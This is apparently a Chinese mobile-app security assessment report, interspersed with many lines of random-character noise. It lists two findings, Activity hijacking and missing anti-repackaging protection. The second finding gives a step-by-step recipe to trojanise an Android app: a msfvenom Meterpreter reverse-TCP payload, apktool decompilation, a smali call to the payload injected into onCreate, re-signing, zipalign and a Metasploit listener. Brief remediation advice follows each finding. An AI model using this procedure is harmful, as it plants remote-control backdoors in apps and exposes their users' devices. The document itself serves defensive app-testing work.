% V1 N: a) K6 r9 o+ g
* v/ {" L; r7 \; p* [" q6 ^+ X' E! C: ]4 W8 v* _, M2 s
表1-2 测试结果 / [/ s9 U' f% s4 P
$ {9 B4 D; r+ J: ?& I& w
& o* J" D' [% z& l/ J* o- |+ [
4 `/ e' M: a; j# w. S7 R1 c
. s& |' I' y: t3 U* D4 {
) N: L* M8 V8 \/ e' p; `" b2 G $ h7 N- B: o; G1 R3 F
6 J4 f+ B, X1 U6 X: E- ] : {: e. v2 }; p V* E7 ~. H9 J" _' y
( D3 s% m, x! @! V. R
2 J* q, ^) W% O# k4 P
+ c C6 \& f+ X+ P/ C" `+ `' C 2 检测结果
; Y# W4 | G; R1 N. f& f# J. R4 F) Z! w; s1 q7 Y5 t, d1 K
# P" q0 d2 w$ l8 o( p
' v0 D) K9 t) U) _. L( G ) B$ \) {3 s- [. N
5 B6 J7 h( D% Y& B% U5 [
2.1 某某某 2 R5 g# a! G! O
6 l& _( f, J; d: n% b/ v8 M! b4 g# Q
# D; J3 ^/ q, s- m. p1 O7 [0 ]3 G+ q3 e
4 M! n" h! {9 C5 {
, A7 Z! K: W9 |3 D 2.1.1检测目标 ; F8 a4 S6 O- \: V+ Y; `) M
& }. G1 W8 x! U) |
! T! K& h: q. w. C9 a+ O9 u5 ?; r% @0 l* B" E3 W# F2 y! `
) I; t* T0 c0 n, P3 H& D, s1 ]6 m7 g& W, h4 B G9 e1 ?
目标地址: 某某某某某某APP
' P2 K/ ~3 a8 s9 q
, Q* R8 t" v r' a4 G 3 X) E. K, @$ `4 h
4 m5 p/ L2 Z, H c4 ~
; G1 ^5 }- u% p- u
Q% j/ @2 n4 }+ k4 N" j* L
2.1.2检测结果 . u; S5 I$ O5 ^7 a) l% y
. O: c$ p) q' l8 m7 S9 M( q: Z
1 ?. h0 D* H/ R, V* u1 D* z
# H0 O" \5 |+ }: B
/ u+ \+ \/ G0 I9 ?2 n- N1 t/ y+ X# G- x3 o/ T; C$ C
2.1.2.1
4 f, \+ a; m# K& ~2 V5 }+ R
9 o, @2 V: r9 f , N6 S' W1 z; K1 Q9 d. m
6 b) Y0 T" O5 q, [* }9 t+ I
( K1 Y" M; N- N7 ]
9 G0 f8 ^3 ?( m 漏洞链接地址:某某某某某某APP 0 p+ ]1 r: f9 W- b9 ]/ G
4 K6 u$ Q3 T+ y, i1 e 5 m7 _' R& Z, E: A: ]
, j/ }9 c- T2 ^. O( l% o! s
9 {: K. _2 M) n, h8 }
7 g& ~+ I& s" o) z6 H/ Z
+ j9 K* a+ _# ~& {4 G' {2 X8 h/ b. E' p* Z+ }
2 |2 \3 h( j. n f" N3 q1 m
T$ H: j1 [4 C- K' z , ^% c3 U. l+ l& @
9 S+ p3 N+ c" | k3 @# m 漏洞分析及取证:
" @7 }' h6 q- Q
: H. w( L) A8 a * ] k$ b, ]& R5 Y% f9 U
- G8 w- Z/ V0 b& M# Y& ?9 S) T
" H, f8 Y) f! }' W) u" R$ J
7 e6 [/ }# @1 I& @' \/ H 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
, J) V" J o: W. D( f- s
' S+ f+ X/ D4 `( s ( [2 w5 J/ a( q3 e) R d
/ v$ W- E% a' K- Y6 Q- Z
1 \- y- M$ N5 t$ N$ F/ F& U e+ ^7 G9 g- U# N' Y8 [( I
3 c! C( V; @# D* T4 Y4 R
3 ^) ?7 P* Q' d6 @+ T ! k5 C2 T, w. d# D3 [: n+ q0 B
" f2 `3 i9 P, c
. R5 S6 \" R/ u8 b9 g8 H
0 Q) w8 c/ C& x3 o/ e , R+ U5 y# B2 [+ d! \0 f
! B5 C# {! d8 O! Z. ?7 V
3 ^: X, g8 o d! A
% S+ j1 _3 w; b 0 a- f1 \' F9 s
' M! V- R# O& |! t5 B
* A: {4 k, R% \1 b6 N' L( B
2 c& e9 W6 _1 m& b4 A, Q
, I% v) f! o6 T& k/ ]& F7 u
9 a- A" d2 G! V% Z
& R! K d* k R& t. Q/ K9 ~! h& @. I9 l
/ }2 V. ?2 U: C0 ~: U
$ Y }0 Y7 ~/ J9 I J- e& ^& a
2 F0 p6 @% @* p7 e2 [' }4 @+ y* B
5 ?% [- b9 t0 K7 [1 I/ p1 P0 K" q
3 @0 {- _$ Q: Z& q) y! e# ]6 w4 }; t3 e- F2 `1 {* \
- u/ [. h5 f/ I- w' @8 M& h
9 w M. k) \6 c. Q, b3 P' a
- h, K& V! R0 R) V
/ w+ s6 W8 F: J0 S" T
: ]$ L* p+ G( I* ]/ t
7 R7 N9 P& f6 |3 @- l 漏洞危害:高
/ V1 j7 D5 j4 Y' |3 g9 ~( t9 W- A. J! m, }# q
9 [; @0 A+ q( W7 `
0 [) d% M9 F! G6 A5 M8 G8 s 5 E$ @, [9 f+ d4 y: j' j; |
- F2 _4 F8 F i% a
( x3 X( v8 |: W% z( z
4 ~% o4 m* H2 N/ r3 Y- \4 M( S2 P
- ~; r9 \, W/ X! B/ E, d8 p; ^1 y; y2 a; T" A
$ W+ ~- V- t, b, M7 [1 _, z7 f
1 e" o8 E0 x! L7 o4 q8 @ | R5 o* e4 m& Y6 r" B
5 ^# W, [. G! V- [5 f( d7 H( L& ]
& W9 J5 l$ P6 ^; w# \, H3 J
, F9 J5 Y: Z- X
严重程度 ! t5 S* h; x0 e+ D7 B' |
4 C. S7 ]8 e" C! e! L* \. b$ N' b a
1 G6 u8 I3 O7 l4 j; A
/ h5 E8 A0 [* l* C; ^3 b& |: a | ( s0 w8 V; Y* \4 c( y* B7 c
# g; Y5 ^ y- `* w) H5 M* E * g/ l' b; y5 S* v1 y& d
) ~9 }+ N: L. o8 S1 u# K
: l1 B @8 Q2 r* O o/ Y+ A/ L3 K
# o, h0 H/ @+ K7 D0 ^ 高 5 I3 A0 k1 y( A4 z
5 X! \$ \9 S6 g5 r 0 W; T* t3 F7 t) v
1 D+ H6 ]& v7 t | - N- H9 M$ Q8 l! f1 z% j
! c* V1 U- R' w% o* \
. v+ i, G4 G. w0 _" T6 q7 m% O7 i' x6 K5 }4 ?. C M& F
! `- H8 }# W0 R) E$ e. ]
/ S# m9 J6 Q: I: Y2 ] ■
; O. I2 G8 g2 k6 k0 `8 y9 c
( K2 C* }/ o: l# V
' b. W- \8 _2 W0 ~; z3 \% E- u' k$ h: |# M7 `3 N6 w) k) Y3 J
|
* \ V/ l2 N. s7 a' J! @ f6 {- z0 G C$ Z; q' v1 I
3 E+ G2 F7 J5 @- K$ M
* V- P0 h0 l. V2 m! S# L: _
! y5 I; W0 k& L5 y' u
( K: ^ c- M9 c! M+ B$ \
中
/ x" v1 b x) H3 e) R! [: ^: l" j1 B7 e0 i, b- \
- @' G' c1 e* Z4 ~- ]. R/ Q: a
- N0 p) |& W) S7 S | " Y2 K6 L% C9 O* _
( ~6 d' n3 s* y5 X" _
# Z0 A2 T' P1 D
' P6 K2 k) _0 u# x8 u X3 `* z & {, v: c' H4 [# [/ i
3 n. l3 I, A8 r7 S4 | / R3 s9 a$ c* O3 S) ?1 K L
/ k/ ?* x& C8 ^& X0 n3 c4 l9 w" m
3 S* t5 M9 s& G9 U9 Q7 y8 y7 z3 |
|
8 E. {% U1 E ?+ C& y. |- |# `; Z1 c! P+ o% h5 F- Q$ H
: n/ ?; j+ C: \) G' C5 d( f" `2 y
; ]5 n, s3 {3 h: q
a, F$ T# E" W& C
3 o. F6 @- T% s0 l6 }; s( I0 I 低
$ b. M& |( i- x2 o$ V
$ A( \) ~1 ` ]' ?" G9 {
$ w$ j' h* C7 W$ w& R! e* B: ?9 h% {* ?; T) [" ]
| 2 ?) @# H( n1 O& [7 }5 Y
) g1 L( f. s" @1 G3 J0 a
! _. R' h7 _( E
* t. W. E, @/ R% _8 O5 X
) |( [* s8 u4 r6 i+ J+ ?
; {$ W" [8 r5 a' B1 X
8 G3 N' b# y2 ^- I
$ V# e; K3 B0 j/ Y) ]$ t+ f . {7 h4 n f5 Y# u7 z& ]. A
+ \7 {5 J+ f( Z5 L! t0 i1 E
|
2 D' e# X$ p1 @; H f
* F8 Y3 f! x2 r v. {# t ?: ~% c4 R, C' z# A
1 M R. B) j# h, i8 o+ P
' d& C3 v7 R# W9 {+ t0 v- k4 w9 e6 g* C9 X+ l t
. @& S _, o" ^2 W' N% E9 T' a8 r
/ z. e/ v5 y9 u. P
6 T5 F1 {5 x% J) z1 ~6 _) L* l, w8 B* p1 W
+ L0 J+ c& d) l! p' b
# a& X, ~, s( T1 i- e k. N
6 m3 n- P3 e8 A ?0 m5 p. K+ F
0 z5 S7 e( _2 r0 m* p( s2 i: Y! ~8 r $ R% }5 j, {/ N e, n/ u& K& K. ?
9 i- {: i5 |" Y3 v' f+ P " ]6 K$ f5 A; K
; i, w0 l- e) h6 V) x
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 2 z" M: Z% v) r* e8 Y5 ]- }$ B
5 U4 I, ]7 x3 a8 s. u
0 j4 k2 z) ]. y0 n" n0 c3 g' w0 U; N" J) Y. P% E
+ M7 F3 `: Q' ]! e- }1 R5 c$ T
, ^, N& f: I% O5 a' w w0 H$ }
, x' _! \) M) h) I& I$ `$ ^) Q" G; i% k+ _
' Y3 F; e% X5 V
1 O# F5 _& |8 Y. y E # H1 g. _( ]: j( N" K. k
! A/ E" b8 G% v$ G% k1 A# X0 P
P @6 b4 K8 ^! O+ t% m/ @$ s8 N) }+ ~* f* R
8 s# r& `% p {/ e [
$ }; j. t5 T( Q4 E
5 e( s! S# b! m" P2 @7 A. b0 o" Y* T" j. P2 m1 J
2.1.2.2 * b( s. p4 S4 L/ ^9 U- n
! R" V( L1 F% ^4 r, r2 N
. v1 Y+ A) H: m5 K2 x4 r. i" g% ~9 i2 r9 n, Z$ U) c, Z& q: N
- s' I; F" j& u
8 M: s V3 q. V 漏洞链接地址:某某某某某某APP
+ S4 B1 ]% ]# T C2 k5 t# k
; u& E# c" A( h, Y. q" V* o: d- B
# r {: U) c/ g; P/ G9 S
, K5 ]* n, j& p q 4 s2 _* ?6 m. d% a; ?* O6 Z
, p$ x* I$ O5 v: P, j- k
漏洞分析及取证: # {& I$ d; h4 i! t% U# M% ~
) d1 {- F9 f) r0 o5 C8 R) g- J
7 W+ q; B1 V9 G" f
' G* Q/ H; d% u, U" @
8 | J4 H# I/ x/ Q
3 W# }: n, Z( n! ^ 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 6 i5 s& ?) S( s$ I0 D
( b- A' e! _" r$ y" o1 w
( J2 S- X$ f2 L, V
" p: ~ ?$ z- w& t- g
( Z {* R y1 x- k, w% f3 G# Y5 Z1 D) Z5 Q; E
用Metasploit 生成木马 apk 5 C \# `6 r& R4 c3 Y& w8 J4 p9 Q
+ ?. O- S I' x& }8 C $ n5 L# J% D( R$ q6 l! l, ?
" T: G& n* Y$ v# l* h; w6 e8 g- H ( H3 H8 H7 {, R" [. C `
; B* D2 H! p, Z' I) J5 V msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
' g0 x+ ]( z* B. ?- v! \" k% Y9 J* }' H3 s0 J/ `! q8 B- n
; G) d% l) l+ @+ P7 C
. r& a7 a+ v- m5 W
5 c5 U: z0 M# k# t7 t* w0 R& V! \- l& R
反编译目标apk和木马apk " [! r% r& Y. \+ u4 A4 M
8 n4 }5 [1 }+ D7 M+ { 4 s( |* B3 ], V- h% L- P
k, I6 i3 N: Z8 k6 p$ D- s# \* W
8 @' `9 H$ Y% v; a5 [8 K( G
* |) D }& N1 U7 H5 z" R apktool d target.apk
, n' ?$ F) g8 ~2 K$ G: O' m
; b. E- K2 Y5 | B7 t" _& p) K apktool d cockhorse.apk
$ h5 C4 z5 S; [5 T3 `8 m5 m- X: P7 v3 N' l" \% f/ L
- Z" Y0 S8 V: V. `) m- r0 T6 y! |: D' N3 C& {
' o5 V. `) t6 `7 ~
* o: X4 D8 w8 w6 J 木马 apk 注入目标 apk / J1 T' F+ o6 P! o' W$ i
- f4 f* y! ?7 Y, } ! A X1 C/ ^' t/ a4 V4 C" o3 }; D7 [
) ?# D6 W* y) z4 W# L1 ]4 Y
3 o1 r2 Q; f2 F6 b& e
/ f- E& o0 X2 h) t$ f 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码: * a* N$ Y+ J* D$ G. f7 }
3 Z# C% n) L' ?. p
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ! _& H7 m L7 P6 N, ]
7 L8 t8 G% B0 m1 w
& K5 u6 _5 @* z+ L
9 H- l& p9 O* |0 X" E- ^1 j 8 ~8 L# J. {: L( J
7 w5 r4 K4 @) T2 E) L9 n
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
v( A" [& g5 c9 K+ G% Y3 l$ T& e; m
3 k2 L; ^, h k
4 v4 Z" c1 H' a. R% p' J ' X% B2 |$ g! ^; p: G" V
# r: [% s* t/ M* r; f9 t+ _: k 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下
8 ?. b5 H, F( B9 Q- E, W# o2 d( N( p- Q8 V/ R# }4 v
% c3 G. R$ Y' Z* Q4 f' v" U8 L$ d) M- i8 D
! o- n, Q: ~0 ~; A8 S4 O4 g8 Z, P
6 ~( ~: w# s9 [* [ \ Y( ^ c
' j" ?! v# Y3 j9 u2 x 回编译生成最终 apk
y/ [! l9 |4 Z" D2 m# J) X: h7 z( Z1 E' H
" y6 C3 A# u- v4 F5 m" e4 M' n, Z9 O, C+ v6 P% Q* o) V& O; ^ ? h
) I8 B$ P. @3 `$ U3 g
" p- t$ z& w; q 重新打包
$ H3 }7 L* i: I
0 ], i! A. M% g$ j( j 9 d1 R8 n% h3 i& M! u& Z* t
6 \; }( k' ^8 V% w
6 z5 S! t# u& v2 I: ?0 i/ W/ C* K7 v$ u
apktool b -o repackage.apk target_app_floder - T. T6 R. R1 ] t) i3 @
/ q5 ?, u0 ~4 `6 K6 f8 a9 d / h& w/ S/ {: E e. Z% W4 ?
) t1 ?, N) w H& h2 T0 v7 J
7 C4 j' c4 h) D+ Q$ }( R% X' B. B7 i: c5 [, ~. o
创建签名文件,有的话可忽略此步骤 : b( i& c4 i7 u" S$ q5 Z6 J
. k) C7 T3 j* q/ L1 l. V
" [$ ^' Q5 W! s3 T1 d* y8 U; E" m
7 S& i# y1 [! N6 W
* A7 V4 Y+ ?. ~* U
4 I0 U9 C) l3 a) Z [+ G keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 % r8 P. C( L$ C2 `' r& U
( q# t8 {- r' @' j$ }
% ~& V/ Q3 O; T" Z- Z
8 \' @- _, }9 d: E' I4 H ( V* B2 R/ @& o4 U7 K1 ?/ \
, \8 _- i' `2 y6 ~1 b 签名,以下任选其一 k# \, k5 O9 C! O$ n1 U
2 o! k) p- ?7 D8 H' t- i) q* U
" Q; t( R+ g3 `: c/ u
; e5 K, b6 X8 H* S% I' ^ K
. H, {' U/ t3 E) l; d
6 B2 V9 \; H# ]8 X, a+ T jarsigner 方式 " s$ s2 E( Z) X8 v
1 L1 y" x( [8 A $ I2 U7 T7 j9 |# T0 x. n) n
9 J- c3 ^# o, G E 5 |( }" A2 T' ~) M1 V7 u* m
9 k% d% _2 s4 v3 I) a0 d jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
+ \. B. e$ |) \5 I, y9 \9 N, v& B ?* u& c* P1 _, y) F j/ g1 j+ {
8 U$ X! j: {+ T
% W, H2 ~7 G* ?+ f
7 X, i: G8 j# n, s5 @4 p* t& y4 {& M! h+ q- l
apksigner 方式 - [, G, e( Z3 [1 L) S5 v- u
/ d; ~- G5 L; q D % Q( Q4 K' g+ X: r. ?9 W K. n7 K
2 p# h; k0 ^# M: H
) Q% E! P. x* ?. g7 O* z; k9 |" Q+ Z8 e" {6 `: R& m" ~
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ' X0 j- w8 E* z/ ~: F! k
3 O' w, D4 ?' N% }4 H( W) o) w
: P; v2 [" g" G" s, D- i, x. O9 Q! E5 _" X' J& ]: d' S4 U0 Q: |% u
; }' v% w' H2 U7 r$ |& K
! \, l% @- c0 v+ u. `5 j 如需要禁用 v2签名 添加选项--v2-signing-enabled false 2 N# j# Y. j: k
: E5 w: Q0 C. d$ A b
2 p8 S( @/ ~; w' F( t
9 E- A# H9 x6 j0 a8 k. s3 r. z # M; d3 @# Y4 y/ J4 ^
! i, w, G# p/ `) p: D 验证,以下任选其一
! K: x! k* I" h' }4 q8 i: j5 G* ~ n! [9 i6 }( q- h+ {+ Z
$ }3 x) w& t* r% A
5 N5 I$ X, J+ \7 ?! ~8 U
/ Q( `* w$ q5 H5 w
: d5 J0 i1 d$ U/ M0 F jarsigner方式
' t* Y) V( r3 K1 r2 Q
% X( j3 D' l2 l+ a t8 i6 Q& q* f8 ?' h3 Z
; ^4 \ H8 X M: }' M
0 N, x# a. r D( U
- K$ P4 ^2 J3 s' W3 L. G" @ @( ]- m jarsigner -verify repackaged.apk ! s- J( w9 @) M6 y G6 L. G2 b+ n
5 O# |. P5 M4 O
3 m) x) u, l* y/ x5 x3 |7 R& y# h
, N. H7 Q& Y- k* c1 M. ~ , T( ~- I+ L) \& o# G' G
$ [# ^5 [ M ^. [$ \ apksigner 方式 5 n, i# L) K/ w& U
$ T }- i" H5 l g3 m- } ! M- T) b. f' M/ J8 N% _; l
: j& f; ^+ e7 \0 k7 o+ T
- q1 w- q7 r; d3 B( i3 N" F: ~% S+ i1 L3 x% {0 G: v
apksigner verify -v --print-certs repackaged.apk
" ^2 G. g# g6 E B. S5 _) _8 Z0 k* {3 B" h' x8 |- G
! }' e& A' `0 m4 c6 C* H4 J" z
- G" Y7 l: u) U3 t* d& t. V3 p
$ F" B9 x" V/ h0 B" k1 r# j) M
3 U Y( n; I/ k( [) a1 c T4 w keytool方式 6 S0 g8 f; s2 |) o, X V
! f1 k- P: @) `* O
" K( Y* m f# t0 u3 S: A' q) T0 L3 M. X5 m2 E1 V% F d; G
% H8 _) W8 L5 X. K/ f9 M m, r5 L' Z7 d( B6 |
keytool -printcert -jarfile repackaged.apk 1 Z8 h4 a6 N$ ~0 [
o4 N! O7 Y) R; g5 y/ W6 M
6 Q) {& A) ^7 Q
/ w* }: H0 u% Q2 Y
. ?. ~! `4 d# T% C- l% t N- C
# e, t6 r( L1 p! B 对齐 9 h \9 ?6 A7 K- C7 E9 c
: q; r9 f; o L9 F# J2 z
4 R0 i6 m7 e5 T* O' x
7 q1 d6 B" V( ^7 ?2 H' E ' M$ G) R2 {- ^) i
! @. R3 ~$ _, A& B3 l8 \9 w5 i( ? 字节对齐优化
5 _4 z4 p+ r, y' B" Y3 e% g! x' X1 d8 ]" u j; |1 q3 b
9 A- H- I7 ~: u9 N
1 R! V" {) j* I8 h k. S( X) H- w1 }
& R* L, @! k& x% i- G: a' J/ p8 |: o* I. y
zipalign -v 4 repackaged.apk final.apk
1 f" Y' j) p; d- i3 V9 ]; m* y( `# O0 ?
9 b N+ i p$ D
0 _( t. z3 l" K. L. O* o! {) B* r ( h6 m+ S% B3 {8 z% e1 a
4 q4 i1 M: ?3 F; c% \1 A7 p 检查是否对齐 ! F! o1 C1 k' k# s" M
3 u. A! U) _6 J+ i7 v5 S
i3 ]4 Y3 @4 c. n4 ]% e9 y7 j; G J( K( z i1 e9 B
8 s& W! n8 y0 o$ g5 n+ z
3 Q5 E; {( s5 e( T! @5 V zipalign -c -v 4 final.apk
! T ]' U v. t. Q5 ~+ N k+ R. n& Q* n l+ S) w* _
y+ A: x: q; c6 [
& i, E# b! l' E) c" I5 ]3 F7 ?
: o T0 K3 a( q; w, ?
% q( c* j! ^0 S2 K: ], B" K 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
. [( O. _5 O V5 R+ H
6 _# n J$ x8 n2 y9 Q: Q & z: Q4 [7 o# ]7 c. F
/ w. l% P% B3 Y9 B1 u* |
' ~- b! [$ \- G. K: r" o0 c3 Q; J1 N2 {
启动Metasploit控制台,配置参数等待上线 $ k* |; y6 f5 g* }! V
% M, Z2 A6 g8 P) X! I! D0 o
3 W: O/ U3 R$ f5 `' E
. S. C$ q8 z3 X' o- D" R # K" u" Z$ S* o' X/ e7 K/ M& [
+ J! r* e g1 S4 R0 m 在终端依次输入如下命令 - o7 \- o) ~! @* t4 h
9 f; x l% D8 q/ @9 H; V" m' y# a
% d6 t, B0 a: y6 B: a5 Q) u0 ^
! Z/ B/ M0 C6 l* ^% U8 |1 G* }( O 7 X1 ^: n' e& B2 L/ W
0 j( g$ S" t4 K0 M. P: j N6 o, v7 @
msfconsole
" h2 t: c9 W4 c; q; X" t9 [) n% o
- J% V+ g, N' a0 y, H' U; ~ ; h* y" l3 k0 N8 |
* k! w0 }- M1 u* l9 n/ n# s . E/ n* A9 y' [* D3 n, f
. i1 {, S% r) ]& N6 v$ J r2 S' O5 K
use exploit/multi/handler
9 C" `$ _/ q& p a, u
2 S& R% q7 A' v& ]+ |9 e' ]1 T 5 [& E" J: j% O3 _# m/ a! i
+ i# ]. J1 m6 @9 Y7 [
( ~) S1 S% L4 f
$ U& x: B1 U4 a6 c& S. _ set PAYLOAD android/meterpreter/reverse_tcp : t9 @: m" B, q" R: C2 S0 k
# m3 a; v- L1 f
: F! Z7 K- f: }' K
) i7 q; b& v! L* f, O7 j! f 0 c( l3 W- R" O i6 x# G( s3 ~
7 y2 H/ J8 B7 I! c
set LHOST 192.xxx.xx.xx 7 Q3 }, ?" W% V. D' ?
- b, q" c+ H' y" D, d( p. C2 ^
: } G8 u. Z5 _6 ?, _
9 @! @0 l0 G+ s* j) `3 P- M' }0 O/ v
, ?1 S N3 E2 R% U+ R9 v8 ?
' Y- t( K2 S8 n/ `& d2 g set LPORT 4444 ! _; h$ W$ i" I$ y& ^
& q* n) C* I& A! W* u4 P7 y5 W R
& i0 H+ S9 a( A4 j$ C- q3 ^
' w: i9 n" j) |' W+ t) Y7 V 0 C5 N3 e# \# ?( S5 X
! z: _) ^5 b6 \& I* V1 c4 D& ]
exploit
' Q, p. Q: M% E0 H' v; V5 z0 x% J+ {& n4 @
0 j5 C7 V/ ^4 D+ }' L" ]
7 g; b$ B# h! z! \, Z- o
$ V% C2 [. v: [! ^+ f+ W( d, B( H) Q+ a' U
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
8 @+ _3 S1 W f. b( I# e" p
/ T0 N% ?. h' ~ 2 L |& K( A7 s6 u, M
) a1 h, ^ S& \$ i' G, i
% O& y5 P0 C Q; [3 f# M( \% D* S
w( N# L7 S8 r6 w7 |2 z 漏洞危害:中
9 l7 c* @1 a% j z- p8 L/ ?8 M. O7 q ]# I
* B" `: \4 ]9 R' w1 Z2 W& x0 h
* t! k) s% Q( U7 p4 g g
, M. R& B" C" S
$ j# l, B4 _: P* l, d, h
7 W* N' x! @: l; H$ s! m. l
$ F$ a* C# m: T9 k
# W4 F- }8 G, E2 G! Q0 W" h# N& t4 t- s1 P, j
$ q) w( ~% y" \. r& U
4 E/ X" U# G' D, d: X0 D ) H. X0 j2 y0 V
+ T" @& u7 W: M) B& F- r/ G | ! L$ t* ]. B% \# D
: \7 F! ~7 {1 E0 b9 U0 q
. U z# r L& Z3 i
+ t3 V3 U; C ~, l! n/ L' x' T
严重程度 7 L( w! h( F6 T1 v4 O1 i
& J9 t8 j; g5 F/ Q
3 K' o; i$ |2 c- c0 ?% l! H% P; }) Q1 N9 k* x8 y" I
| ( n& V V: T- R+ t5 V: Z
+ u2 G3 o/ x o8 O
6 D9 e! ]. X! V' ?9 d H- s( ?9 E' v: b) V9 w
3 m3 f; w; b8 J
/ g8 l. K( R5 j1 c 高 6 |2 {) d" J) v
0 J: d2 o% ?! d" l! A( A- m
t7 _7 E* _; F
; D3 B# O* j- r! S5 t |
, L C7 t' @( j) i5 f! k; A" j" f
: I( _' t# f8 C B+ Y* K3 h, _& m- B . e( g5 P8 ], R$ ~; ^
8 \ f ?9 m3 a, W" |
' w, L* U9 k5 Z9 V. O8 z& g C
, H8 l2 l' }9 a, @ ■
1 m% ~4 S$ L3 M5 }
: y$ T; U/ Y' B6 Q* ` 4 H/ a6 ^% H0 o; d# Q% H0 K! G
+ x% i, h' u, ^# B# e
|
8 Z9 R) R, L, a+ H$ K2 \" g/ u* z- d$ z4 a
8 X" B. _ s( R
, }0 r' H. Z8 w' Q V2 r
8 j% ?. P! i. i0 {( Z: r3 V2 J
4 ~: C5 R1 F: o2 [" h 中
% l5 e/ }3 b$ x- T' d7 |
+ {; D+ b9 Z( P; F5 K* A
9 R) b6 k/ ?& s, X4 _9 [
' v) {! F. @6 r1 E9 }& F. U |
, c0 h4 g% j1 \4 E% [! | n$ T T2 m5 k: J. ^7 R0 F0 F5 E
7 K0 `# @% j6 {, a
9 L5 ?7 M3 I+ p- c* O5 u- r
4 @% l: X9 m8 A* H; [6 E- E1 ^& P- Y8 O1 P: N' D
9 T! {8 a$ ~5 X+ T4 U% A0 o+ l! R
8 _$ v. d) ^" B
) j& T8 T7 K! ]' k8 o8 b- V+ _ f
. `, i: Z! [8 T; o* H
: D0 g8 n, z3 R# k1 V6 j' n
# p" A# ]* M# M |
. e5 T# ~' R8 B* I t- t3 v& B+ f3 c" l# s p" x
1 l( p: I* t2 v! ]- C# {
! [. W) k H4 g 7 s. Y0 C* v* B0 r* S' s& c
& G- b' ~( U4 M+ W7 `& {
低
7 C2 e) t7 ?0 J3 B' u$ ~7 Q" V: v6 [+ B9 u) I, V4 P$ `
' u7 V6 {. J' Y0 \, X V! }
/ c4 A+ P; }1 b+ y |
8 C9 O) P& x o
7 I, V7 v$ j' `2 z' I
' ^8 @% F9 o) }; ?4 I" B3 d7 @+ U# h% |$ n$ @. `5 U
' p8 n7 J9 ^& D
+ W: n0 }9 Q1 X/ \" @( z* l8 ]
$ o0 R, x9 L. r' h( l2 Q- q' i Z! U0 f' e7 U1 H5 w4 y3 f+ b
! _7 h4 I( ^1 p6 d( F3 y, Z1 ~) L4 [
# j+ Y5 Z; X$ j) _0 |7 J# U! q5 ~
6 s4 `. h4 Z/ H1 w( o i( Q. G( k) V" E- l5 l8 c* f* x
| 4 x9 c- H% s) A
/ L* p2 R! M6 Y$ e+ O% P
, y1 U$ R# I, M, k$ m) \ \
5 S2 q+ R$ u: N9 ~* J
! Y9 q3 e( R1 r, b+ \! |
; e' V Q7 @4 A! b ' T, b4 q0 c) g( o- c4 u
% C/ C% M' t6 m) a" ^( i$ w4 ] % G9 f% f" ?& b/ k
7 U" {& P3 P4 D; g: F% a; c0 X
: L' e2 \" t5 A2 F
5 S. Z2 D( d+ `+ r7 f5 Y9 A
, [; F( ]8 V( ?5 V( ]4 X B
, b' _8 X, F- F
5 }2 e- t& f; B5 U: {: H" `0 y9 v2 ~4 b: H2 R
. J! t8 @ \5 Y4 M' Q6 w! f
% j$ a7 G q' T6 q* T
修复方法:
' P g2 N7 a) V; t. R5 x+ o
- J9 h5 X$ c* i- t' v4 c) y7 D
* w; _4 ^9 e. x% l1 K$ x+ o0 h/ C9 P$ k$ `- O
1 C$ ~/ T, D5 \- W( l5 z/ E
+ _) ]& C2 A: [ I2 y% G8 y2 [ 1.在 APP 启动时应做签名校验防止二次打包。 : h! J! x( V( f4 W% \
3 p, F k" f/ Y1 c7 Q0 |; |2 W( u
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 % T U8 S/ S+ w" G( O
& {% Q* d6 A' ]9 p
- U- D4 `; X; c: Y; ^/ ~+ o- M; e+ X
: o- ~2 Z [6 Y. k
4 r' _5 `" f/ Y' q4 p 8 N5 s: F4 F* p$ r2 A2 v; ^
/ }* y1 T& A- i1 F7 _9 R' u# i
3 u/ s K H$ U7 t) g) ~1 q2 A; m( }1 Q
+ W& O! @0 A6 \1 k* X
$ d7 b; W# n7 w* O% w% @3 h ; d6 B2 i& s; V) u
- p8 W$ Q N4 K# e2 z
% i7 \! O5 A$ r$ @9 A* u) P" U; Z! l1 u+ |3 e9 U; V$ ?4 R! o
" J+ p, D8 B8 y8 E6 N" @" e
- Y& N% h3 c S [ + }- R6 l, J$ V( y# s4 H0 U. n
1 U, X0 T& A+ q$ w% U. z
|